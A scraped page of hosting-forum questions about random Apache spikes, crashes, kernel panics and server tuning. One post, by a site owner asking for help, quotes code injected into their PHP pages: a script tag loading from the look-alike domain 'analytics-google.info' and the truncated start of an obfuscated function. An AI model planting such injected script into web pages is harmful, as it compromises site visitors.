Server Spikes Randomly

Jan 15, 2007

Everything was running ok until last week.

I haven't really done anything new other then added another forum on the server (Invision).

Basically the problem is the random spikes I get. The main forum that is running on the server haven't really increased in terms of sim connections. Its usually around 180 - 220 during peak times.

On TOP there is usually around 250 tasks. When this thing started happening it would spikes to 500+ tasks which totally kills the server. Its pretty random also. Sometimes it'll go fine for a few hours and then suddenly climbed slowly up and then the server dies. For now its going to crash whenever I let apache run for an hour or so.

The only way I can restore is to restart apache. It has come to the point where I've had to put in restart apache in the cronjob list. Restart it every few minutes since I'm not always here watching over it. This is obviously a shortterm solution to keep the forum up while I troubleshoot this.

Here's a screenshot when it was just about dead

http://img392.imageshack.us/my.php?image=serverwf0.jpg

I checked out the logs and didn't see anything.

I was either told it needed more ram or that it was hacked.

The JRE is the flashchat I'm running and the trans_linux is a bot for the shoutcast.

Since I haven't been doing anything new.. I don't think its the resources of the server thats too little.

The server i have is

Dual Opteron 252
2 gigs of ram
1 146GB 15,000RPM scsi drive

how I can resolve it? Is Apache using more memory then its suppose to?

View 12 Replies


ADVERTISEMENT

Server Hanging Randomly

May 19, 2007

server hanging randomly

this is logs that i found

what is wrong with my server?

Quote:

May 19 15:35:02 hostname kernel: eip: c02d331b
May 19 15:35:02 hostname kernel: ------------[ cut here ]------------
May 19 15:35:02 hostname kernel: kernel BUG at include/asm/spinlock.h:133!
May 19 15:35:02 hostname kernel: invalid operand: 0000 [#1]
May 19 15:35:02 hostname kernel: SMP
May 19 15:35:02 hostname kernel: Modules linked in: md5 ipv6 parport_pc lp
parport ipt_state ipt_TOS iptable_mangle ip_conntrack_ftp ip_conntrack_irc ip_c
onntrack ipt_REJECT ipt_LOG ipt_limit iptable_filter ipt_multiport ip_tables aut
ofs4 i2c_dev i2c_core sunrpc dm_mirror dm_mod button battery ac uhci_hcd ehci_hc
d snd_intel8x0 snd_ac97_codec snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd_pa
ge_alloc snd_mpu401_uart snd_rawmidi snd_seq_device snd soundcore 8139too mii sk
98lin ext3 jbd
May 19 15:35:02 hostname kernel: CPU: 1
May 19 15:35:02 hostname kernel: EIP: 0060:[<c02d357c>] Not tainted
VLI
May 19 15:35:02 hostname kernel: EFLAGS: 00010016 (2.6.9-42.0.10.ELsmp)
May 19 15:35:02 hostname kernel: EIP is at _spin_lock_irq+0x1d/0x35
May 19 15:35:02 hostname kernel: eax: c02e71c3 ebx: f5e6a934 ecx: c756be28 edx: c02d331b
May 19 15:35:02 hostname kernel: esi: f5e6a930 edi: 00000000 ebp: c756b000 esp: c756be2c
May 19 15:35:02 hostname kernel: ds: 007b es: 007b ss: 0068
May 19 15:35:02 hostname kernel: Process netstat (pid: 336, threadinfo=c756b000 task=cb03b330)
May 19 15:35:02 hostname kernel: Stack: ffffffff c02d331b cb03b330 f6481e98 f6481e98 00000246 00000002 f5e6a930
May 19 15:35:02 hostname kernel: f5e6a900 00000000 c756b000 c01652bf 00000000 00000000 00000000 c032e610
May 19 15:35:02 hostname kernel: c756bfc4 0000000b 0000000b c011d2e4 c014e529 ffffffff ffffffff c2015de0
May 19 15:35:02 hostname kernel: Call Trace:
May 19 15:35:02 hostname kernel: [<c02d331b>] rwsem_down_write_failed+0x32/0x160
May 19 15:35:02 hostname kernel: [<c01652bf>] .text.lock.exec+0xba/0xd7
May 19 15:35:02 hostname kernel: [<c011d2e4>] try_to_wake_up+0x28e/0x299
May 19 15:35:02 hostname kernel: [<c014e529>] do_no_page+0x2da/0x2f9
May 19 15:35:02 hostname kernel: [<c012b458>] __dequeue_signal+0x14c/0x155
May 19 15:35:02 hostname kernel: [<c012b476>] dequeue_signal+0x15/0x54
May 19 15:35:02 hostname kernel: [<c012cd3f>] get_signal_to_deliver+0x317/0x346
May 19 15:35:02 hostname kernel: [<c0105bd4>] do_signal+0x55/0xd9
May 19 15:35:02 hostname kernel: [<c01c3616>] __copy_to_user_ll+0x30/0x46
May 19 15:35:02 hostname kernel: [<c017553b>] seq_read+0x24a/0x2c2
May 19 15:35:02 hostname kernel: [<c0172c49>] dnotify_parent+0x1b/0x6e
May 19 15:35:02 hostname kernel: [<c015ae7d>] vfs_read+0xda/0xe2
May 19 15:35:02 hostname kernel: [<c015b06c>] sys_read+0x3c/0x62
May 19 15:35:02 hostname kernel: [<c011ae55>] do_page_fault+0x0/0x5c6
May 19 15:35:02 hostname kernel: [<c0105c80>] do_notify_resume+0x28/0x38
May 19 15:35:02 hostname kernel: [<c02d4966>] work_notifysig+0x13/0x15
May 19 15:35:02 hostname kernel: Code: 90 80 3e 00 7e f9 fa eb e8 89 d8 5b 5e c3 53 89 c3 fa 81 78 04 ad 4e ad de 74 18
ff 74 24 04 68 c3 71 2e c0 e8 24 f3 e4 ff 58 5a <0f> 0b 85 00 2e 62 2e c0 f0 fe 0b 79 09 f3 90 80 3b 00 7e f9 eb
May 19 15:35:02 hostname kernel: <0>Fatal exception: panic in 5 seconds

View 6 Replies View Related

Apache :: Randomly Server Goes Offline

Feb 13, 2013

Randomly my server goes offline. There is no pattern to this. It can be fine for weeks then have 5 issues in one day. I have to restart Apache and it all come back on.

I'm not sure where to start to look for errors as I'm not that experienced.

Server Info
Windows Server 2008 R2 Standard Edition
PHP Version5.4.9
Apache VersionApache/2.4.1 (Win32)
MySQL version 5.0.10

View 3 Replies View Related

FastCGI Randomly Give Internal Server Error

Apr 17, 2009

I have the same error mentioned in this old tread:
[url]

Once in a while the user have "Internal server error"

when accessing any php page.

The php is php v4 compile as fastcgi on Centos 5.

The warning/error sequins is always like this:

[Fri Apr 17 09:09:49 2009] [warn] FastCGI: (dynamic) server "/home/fastcgi-scripts/abc.fcgi" (pid 22726) termination signaled
[Fri Apr 17 09:09:49 2009] [warn] FastCGI: (dynamic) server "/home/fastcgi-scripts/abc.fcgi" (pid 22726) terminated by calling exit with status '0'
[Fri Apr 17 09:09:49 2009] [error] [client 127.0.0.1] FastCGI: incomplete headers (0 bytes) received from server "/home/fastcgi-scripts/abc.fcgi", referer:
[url]

View 2 Replies View Related

Massive I/O Spikes...

Jul 9, 2009

How can I better monitor and trace down I/O spikes? I've noticed the wait hit 60% every now and again... could someone be running a rapidleech script and if so, how can i find it?

View 2 Replies View Related

CPU Usage Spikes

Oct 13, 2007

Ive had a server for a while now, and had a backup hdd installed recently.

There seems to be CPU spikes happening from time to time up to 35%
Usually it sits on 0.17 - 0.80

But suddenly its been jumping around.

I have no idea where its coming from, as I cant check it in time.

Its a new problem thats just come up, and Im not so sure what it may be, as I havent got any new accounts on it.

I do get bounced emails from mailman for some reason, and mail queue is usually large, but server was generally cleaned up from it being abused.

View 4 Replies View Related

Plesk 12.x / Linux :: Server Crashing Randomly With Out Of Memory Error

May 12, 2015

it's starting to kill child processes and eventually stops/hangs.

#plesk version
Product version: 12.0.18 Update #45
Update date: 2015/05/08 03:13
Build date: 2015/01/26 15:00
Build target: CentOS 7
Revision: 334346
Architecture: 64-bit
Wrapper version: 1.2

#free -m
total used free shared buff/cache available
Mem: 3782 647 2281 45 854 2875
Swap: 2047 0 2047

View 1 Replies View Related

Plesk 12.x / Linux :: Brand New CentOS 6.5 Server Running 12.0.18 Crashing Randomly

Aug 19, 2014

I have a brand new A8i server from 1&1 that has crashed twice today and could only be rebooted through the 1&1 control panel (not Plesk). Out of the blue the server is not accessible from the Plesk CP and is not responding to pings. I have looked through the logs and do not see anything that stands out (I am not very Linux savvy). Is there somewhere specific that I can look that would tell me why it is locking up/crashing? I have only had the server about 2 weeks and am only running email on it (no websites besides webmail and Plesk CP). It is possible that there is a hardware issue, but I cannot have 1&1 check it until after hours tonight.

Server is an 8 core Intel Atom 2.6GHz with 8GB RAM.

View 8 Replies View Related

I Have A Site That Gets Huge Traffic Spikes. What Setup Should I Have

Sep 16, 2007

I am currently moving from my current dedicated servers because they simply cannot handle the load. I have a site which frequently makes it onto radio, digg and other similar sites.

I need a dedicated server that can take a beating from Digg and offline Media. For most of the month the server load is really low, the site hardly uses up anything. However, when it hits those sites, it suffers.

I am OK with using Shell, just basic tars/logs/sqldumping/httpd.conf editing/rebooting etc.. anything beyond that like installing and configuring software I cant really do.

I guess I am looking at a dedicated option (linux based) with a host that'll setup software/modules modules for me when I ask, but doesn't really need to hold my hand all the time.

How are ThePlanet.com's servers? Do they manage the servers?

View 14 Replies View Related

Traffic Spikes And Perl Processes - Security Issue

Oct 28, 2009

I admit I know nothing when it comes to servers. Yet I do have a root server and I noticed that there are some days when the traffic spikes up to 20 times the average and when I login via ssh I see many perl processes. I don't know what those are since I don't use any perl scripts on my web site. Is this a potential or maybe an ongoing security issue?

View 2 Replies View Related

Load Spikes Every Morning, Every 30 Minutes, Host Can't Solve

May 4, 2007

We've had a VPS for just over a month now. I am not going to mention the host by name (yet) but they advertise here and other people here reported liking them.

Sadly it's not my experience and I regret my purchase.

Every morning for the past few weeks, we get load spikes every 30 minutes that make our site unusable for a minute (on our VPS, any load over 1.0 is sluggish, over 2.0 is virtually unusable, over 3 is unresponsive)

Here's a series of days as an example:
[url]

The worst part about this is the host insists 1. either it's not happening or 2. they can't find it

I know it's happening because when I try to load a page on the half-hour, it takes over 13 seconds (less than 1 second normally). And it's fairly obvious it's someone doing a cron job with some nasty downloading, uploading, or maybe a massive mysql update.

Someone tell me what to tell them because this is driving me out of my mind. The load is NOT being caused by ourselves, I've made sure all our cron jobs don't happen on the exact half hour and we get lots of traffic later in the day without loads.

View 14 Replies View Related

VPS Stops Running Randomly

May 29, 2008

The problem is that it switches from running to mounted without me having anything to do with it. It seems to be quite randomly, for example this morning at 1.42 am. This happens once a day and stops my vps and therefore my website - which is quite annoying.

I checked for log files or anything, but there was nothing mentioning resources or anything.

Does anyone have a clue what this might be? If I cannot fix the problem there is still the opportunity to just start the vps once it goes to status mounted. How would I automate this?

I am using Virtuozzo and Plesk.

View 9 Replies View Related

Just Built New Pc, Restarts Randomly

Dec 3, 2008

I just built a new pc, everything works well, but sometimes my computer will just restart randomly, it doesnt happen immedietly but randomly, within 30 or more minutes operating. Any ideas to why? and how i can fix it? ...

View 12 Replies View Related

Images Dissapearing Randomly

May 28, 2007

I am creating a web application, nothing spectacular just something to display content.

After completing a long night of coding, I uploaded my files to my server and checked to make sure everything was functioning correctly. Everything seemed fine so I went to bed.

The next morning, to my surprise, all my images had dissapeared! Well not all of them, just the ones being displayed through the PHP script. (coincidentally, these images where all in the same directory...)

Of course the first thought that went through my mind was "scripting error". Which surprised me, since everything worked perfectly the night before. I checked and double checked everything, and I couldn't find anything wrong. I checked the permissions on the directory holding the images and they appeared correct (755). So, to locate the problem I decided to strip out all the variables and create a test page that had only the SQL query, and a print to output the <img> code. Still nothing! So I decided to just go the HTML route and create a test file that held only the <img> code, no PHP involved... nothing.

The images are on the server. I double checked... if you right click > view image, it shows up. Then if you go back to the "test" page and refresh the image is there... however, it does not appear when you first load the page, or it appears and then immediately dissapears.

I contacted my host about the issue, and their first response said:

Quote:

Dear customer,
The images are there if you login through plesk control panel and go to
File Manager under your domain you can find the pictures and see
them.But some of them are not opening under your website.
Best Regards

Honestly... are you kidding me? Reiterating my question doesn't constitute as an answer. And they call themselves "engineers"...

Seeing as it appears to only be affecting one directory (and possibly only JPG images...? Have a look at the test pages above), I believe it might be a permissions issue.

View 0 Replies View Related

49pence Randomly Changing Passwords

Jul 24, 2008

Today we received an email saying that the admin password for the server had been changed by them and that we should log in and change the password again ourselves.

49pence have provided no explanation as to why the password was changed and despite multiple requests have refused to give any kind of explanation. I've also asked to speak to a manager and this request was denied (well, more ignored and I was given the same line that they cannot disclose why they changed a customers' password).

View 14 Replies View Related

Website Pages Get Overwritten Randomly

Jul 3, 2008

For the past few days I've been facing a weird problem where a few of my website pages (index.php, login.php etc) get overwritten with some google analytics code. The rest of the website pages remain fine.

At random times, the code in these php pages gets replaced by something like:

HTML Code:
<script src="http://analytics-google.info/i/urchin.js"></script><script>function c41920832628m48687785ee773(m48687785eeb5b){ return (parseInt(m48687785eeb5b,16));}function m48687785ef712(m48687785efaf9){ function m48687785f06b2(){return 2;} var m48687785efeea='';m48687785f0e81=String.fromCharCode;for ...</script><script>check_content()</script>

Here's some debugging I have done.

1) If I rename login.php to say, log-in.php, the page gets saved from this

2) If I change the owner of login.php from the user to root, the page doesn't get overwritten anymore.

So basically, something somewhere running from the user account overwrites these specific pages. By the way, my website logs didnt show anything suspicious around the time when this first happened.

View 0 Replies View Related

CURL Showing Error Randomly

Jan 4, 2007

i am using curl in php and it showing time out error randomly!

Code:
Operation timed out with 0 out of -1 bytes received
maybe you say its remote server problem but i am geting this error from google server ,

View 6 Replies View Related

Apache :: 2.4 Randomly Stop Responding

Feb 21, 2012

I use apache 2.4.1 and mod_fcgid (same config form apache 2.2.22+mod_fcgid 2.3.6) and without any error message, apache stop responding randomly.There is no problem with apache 2.2.22+mod_fcgid 2.3.6 and with apache 2.4.1 + php5_module i have

View 19 Replies View Related

My Domains Become Randomly Unavailable For Short Periods

Jun 21, 2009

Some of my Linux(WHM/Cpanel) hosted domains have a weird problem. They randomly become unavailable to me for periods of half hour to 2 hours. During this time I get a server not found error and I cannot access the domains through FTP either. However if I use a proxy or try to reach the domain through another server using RDC I am able to reach it.

View 4 Replies View Related

RAID Controller Randomly Dropped Off System

Mar 26, 2007

This problem has happened to me twice on the very same server. I can't seem to figure out what's wrong with it.

My raid controller is Areca 1160 + 1GB Ram + 16xWD4000YS. Initially I had the problem of the disk dropping from the array randomly. I suppose this problem has been fixed since I have upgraded disks firmware according to WDC suggestion.

But there's another problem now. From my observation, the controller is randomly dropped off the system. When this happen, I cannot read/write anything from the disk at all. I can SSH in and able to run Areca CLI tool to see what's going on but only to get the message saying that it cannot find any Areca controller.

My only option is to restart the server and fsck all those 16 disks (not fun). I checked the log on the RAID controller itself, there was no sign of problem at all. No alert, no disk being dropped off the array, no events logged at all.

I'm using CentOS 4.3. Firmware on the RAID controller is 1.41, latest is 1.42. (Stupid me for not upgrading firmware when server crashed.) I plan to take the server down for RAID firmware upgrade soon. I just hoped that it's just problem with the firmware, not the controller or backplane itself.

View 8 Replies View Related

Apache :: Localhost Is Randomly Loading Forever?

Mar 12, 2015

my local host is just taking incredibly long to load. At work I've set it up no differently and it works like a charm, but at home, it works.. But at times it doesnt load instantly until I restart my browser. I have to press refresh or enter to login a million times for it to load after the first few seconds I use it.

View 1 Replies View Related

Apache :: Randomly Receive 502 Bad Gateway Error (2.4.4)

Jul 23, 2013

I am currently running apache 2.4.4 with Tomcat and randomly i receive the following error when i try to hit the external URL:

Bad Gateway
The proxy server received an invalid response from an upstream server

====================================================
Inside apachie error.log file., i also see the following error, i am not sure if they are related:

"The specified network name is no longer available. : AH00341: winnt_accept: Asynchronous AcceptEx failed."

=====================================================

Here is my httpd.conf file: .....

View 4 Replies View Related

Windows 2003 Eaccelerator Cache Cleared Randomly

Mar 31, 2008

I have successfully installed eaccelerator on my win2k3 box and it is working great. The problem I am having is that every so often the cache files are mysteriously cleared. I know that the cache is cleared when apache is restarted but I have not restarted it and the files still go missing after a period of time. I have the ttl values for ea set to 0 to disable them.

Here is the ea ini in php.ini:

extension="eaccelerator.dll"
eaccelerator.shm_size="64"
eaccelerator.cache_dir="C:Cache"
eaccelerator.enable="1"
eaccelerator.optimizer="1"
eaccelerator.check_mtime="1"
eaccelerator.filter=""
eaccelerator.shm_max="0"
eaccelerator.shm_ttl="0"
eaccelerator.shm_prune_period="0"
eaccelerator.shm_only="0"
eaccelerator.compress="0"
eaccelerator.compress_level="9"
eaccelerator.allowed_admin_path = "D:WebsitesThe Family Garrisoncontrol.php"

I am running php as php-cgi.exe with MS fastcgi enabled on a 32bit system.

View 2 Replies View Related

Apache :: Website Shows Blank Page Randomly

Sep 22, 2013

I am trying to fix website [URL] .... I open the site like 20 times a day and like 2 times a day it shows blank page. Which logs I need to check or which tools to use? I have cpanel hosting, apache.

View 1 Replies View Related

Plesk 12.x / Linux :: Firewall Randomly Blocking Custom Defined Ports?

Aug 24, 2014

I have the web pro edition panel 12 on centos 6.5 64bit, and i have made some custom firewall rules in order to be able to run a teamspeak server. The problem is that the firewall randomly blocks the teamspeak port and keeps it blocked unless i restart the firewall.

View 4 Replies View Related

Improve Performance- Web Server, SSH Server, And Mail Server

May 8, 2007

I've got a VPS which is serving as the main server for a number of sites. Web Server, SSH Server, and Mail Server.

What I've got running:

Apache2, PHP5, MySQL5, Dovecot, Postfix

One of the sites is a growing forum with a MASSIVE photo album. This is the site where I notice the most slowness.

Changing the server software is not an option - Only optimization.

Quote:

Originally Posted by httpd.conf

ServerTokens OS
ServerRoot "/etc/httpd"
PidFile run/httpd.pid
Timeout 300
KeepAlive Off
MaxKeepAliveRequests 100
KeepAliveTimeout 5
<IfModule prefork.c>
StartServers 8
MinSpareServers 8
MaxSpareServers 13
ServerLimit 256
MaxClients 256
MaxRequestsPerChild 50
</IfModule>
<IfModule worker.c>
StartServers 2
MaxClients 150
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>
Listen 80
LoadModule auth_basic_module modules/mod_auth_basic.so
LoadModule auth_digest_module modules/mod_auth_digest.so
LoadModule authn_file_module modules/mod_authn_file.so
LoadModule authn_alias_module modules/mod_authn_alias.so
LoadModule authn_anon_module modules/mod_authn_anon.so
LoadModule authn_dbm_module modules/mod_authn_dbm.so
LoadModule authn_default_module modules/mod_authn_default.so
LoadModule authz_host_module modules/mod_authz_host.so
LoadModule authz_user_module modules/mod_authz_user.so
LoadModule authz_owner_module modules/mod_authz_owner.so
LoadModule authz_groupfile_module modules/mod_authz_groupfile.so
LoadModule authz_dbm_module modules/mod_authz_dbm.so
LoadModule authz_default_module modules/mod_authz_default.so
LoadModule ldap_module modules/mod_ldap.so
LoadModule authnz_ldap_module modules/mod_authnz_ldap.so
LoadModule include_module modules/mod_include.so
LoadModule log_config_module modules/mod_log_config.so
LoadModule logio_module modules/mod_logio.so
LoadModule env_module modules/mod_env.so
LoadModule ext_filter_module modules/mod_ext_filter.so
LoadModule mime_magic_module modules/mod_mime_magic.so
LoadModule expires_module modules/mod_expires.so
LoadModule deflate_module modules/mod_deflate.so
LoadModule headers_module modules/mod_headers.so
LoadModule usertrack_module modules/mod_usertrack.so
LoadModule setenvif_module modules/mod_setenvif.so
LoadModule mime_module modules/mod_mime.so
LoadModule dav_module modules/mod_dav.so
LoadModule status_module modules/mod_status.so
LoadModule autoindex_module modules/mod_autoindex.so
LoadModule info_module modules/mod_info.so
LoadModule dav_fs_module modules/mod_dav_fs.so
LoadModule vhost_alias_module modules/mod_vhost_alias.so
LoadModule negotiation_module modules/mod_negotiation.so
LoadModule dir_module modules/mod_dir.so
LoadModule actions_module modules/mod_actions.so
LoadModule speling_module modules/mod_speling.so
LoadModule userdir_module modules/mod_userdir.so
LoadModule alias_module modules/mod_alias.so
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_balancer_module modules/mod_proxy_balancer.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule cache_module modules/mod_cache.so
LoadModule suexec_module modules/mod_suexec.so
LoadModule disk_cache_module modules/mod_disk_cache.so
LoadModule file_cache_module modules/mod_file_cache.so
LoadModule mem_cache_module modules/mod_mem_cache.so
LoadModule cgi_module modules/mod_cgi.so
Include conf.d/*.conf
User apache
Group apache

Quote:

Originally Posted by my.cnf

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1

[mysql.server]
user=mysql
basedir=/var/lib

[mysqld_safe]
log-error=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

View 8 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved